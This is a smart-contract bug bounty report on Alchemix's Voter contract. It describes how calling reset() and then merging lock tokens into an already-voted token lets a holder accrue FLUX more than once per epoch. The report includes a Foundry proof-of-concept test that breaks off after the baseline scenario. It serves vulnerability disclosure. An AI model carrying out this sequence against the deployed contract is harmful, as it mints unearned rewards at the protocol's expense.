31329 - [SC - Critical] Attacker can gain infinitive FLUX by repeating ...

Submitted on May 17th 2024 at 07:32:47 UTC by @Minato7namikazi for Boost | Alchemix

Report ID: #31329

Report type: Smart Contract

Report severity: Critical

Target: https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol

Impacts:

  • Unauthorized minting of NFTs

Description

Brief/Intro

Attacker can gain infinitive FLUX by repeating this attack!

Vulnerability Details

in the reset function in Voter contract which could be used only once per epoch , it accrueFlux for the tokenID and add the accrued amount in the unclaimed Flux balance , using the following scenario a malicious attacker could accrueFlux for tokenID already accrued previously in the same epoch.

an example scenario

an attaker have 3 locks each one with 100k token

ID1

ID2

ID3

In the first epoch

he vote with the three tokenIDs

in the next epoch

he reset the voting for ID1 & ID2 and accrue their Flux ratio

fortunately here for the attacker ... the reset function abstain the voting status for the token id so it will be !VOTED

and the attacker will be able to merge into token voted in the previous epoch and didn't use reset in the new epoch yet

because merge() only require require(!voted[_from], "voting in progress for token");

it doesn't require the merged "to" token to be not voted .. only the first token

the attacker now could merge ID1 & ID2 to ID3

and use the reset function with the new total balance .. and accrue flux even if the same IDs tokens balance accrued flux previously in the same epoch!

Impact Details

the suitable in-scope impact is Unauthorized minting of NFTs because this will enable an attacker to gain infinitive FLUX by repeating this tricky scenario

Proof of concept


/*
       █▀█  ▀▄▀  █▀▄▀█ █ █▄░█ ▄▀█ ▀█▀ █▀█ 
       █▄█  █░█  █░▀░█ █ █░▀█ █▀█ ░█░ █▄█ 
*/


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import "forge-std/console.sol";
import "./BaseTest.sol";


contract MyTest is BaseTest { 


address public user = address(2);
uint256 internal constant ONE_WEEK = 1 weeks;
uint256 internal constant THREE_WEEKS = 3 weeks;
uint256 internal constant FIVE_WEEKS = 5 weeks;
uint256 internal constant MANYWEEKS = 52 weeks;

uint256 maxDuration = ((block.timestamp + MAXTIME) / ONE_WEEK) * ONE_WEEK;

 function setUp() public { 

      setupContracts(block.timestamp);

    }


  function _lockVeALCX(uint256 amount) internal returns (uint256) {

        deal(address(bpt), address(this), amount);
        IERC20(bpt).approve(address(veALCX), amount);
        return veALCX.createLock(amount, MAXTIME, false);

    } 

   function _setupgauge() internal {
        
        address alUsdGaugeAddress = voter.gauges(alUsdPoolAddress);

        address bribe1 = voter.bribes(alUsdGaugeAddress);


        vm.prank(voter.admin());
        voter.whitelist(usdt);

        vm.prank(address(alUsdGauge));
        IBribe(bribe1).addRewardToken(usdt);


        address alEthGaugeAddress = voter.gauges(alEthPoolAddress);
        address bribe2 = voter.bribes(alEthGaugeAddress);
       
    } 



  function test_theExpectedreturnsbeforetheExploit() public { 


        console.log("<---------------->");
        console.log("in this first test we preview how much the total flux balance of user should be in natural situation");
        console.log("after voting in an epoch then use reset function in the next epoch .... the user have 3 locks each one with 100k ");
        console.log("<---------------->");

        vm.startPrank(holder);

        uint256 id1 = _lockVeALCX(TOKEN_100K);
        uint256 id2 = _lockVeALCX(TOKEN_100K);
        uint256 id3 = _lockVeALCX(TOKEN_100K); 

        vm.stopPrank();


        _setupgauge();


        vm.startPrank(holder);

        
        address[] memory pools = new address[](1);
        address[] memory pools2 = new address[](1);
        uint256[] memory weights = new uint256[](1);
        pools[0] = alUsdPoolAddress;
        pools2[0] = alEthPoolAddress;
        weights[0] = 1;

        voter.vote(id1, pools, weights, 0);
        voter.vote(id2, pools2, weights, 0);
        voter.vote(id3, pools, weights, 0);


        uint256 unclaimedBalance11 = flux.getUnclaimedFlux(id1);

        console.log("The FLUX Balance of any id of the 3 now after voting is : ", unclaimedBalance11);


        skip(2 weeks + 2);

        vm.startPrank(address(voter));

        minter.updatePeriod();

        vm.stopPrank();

        vm.startPrank(holder);

        voter.reset(id1);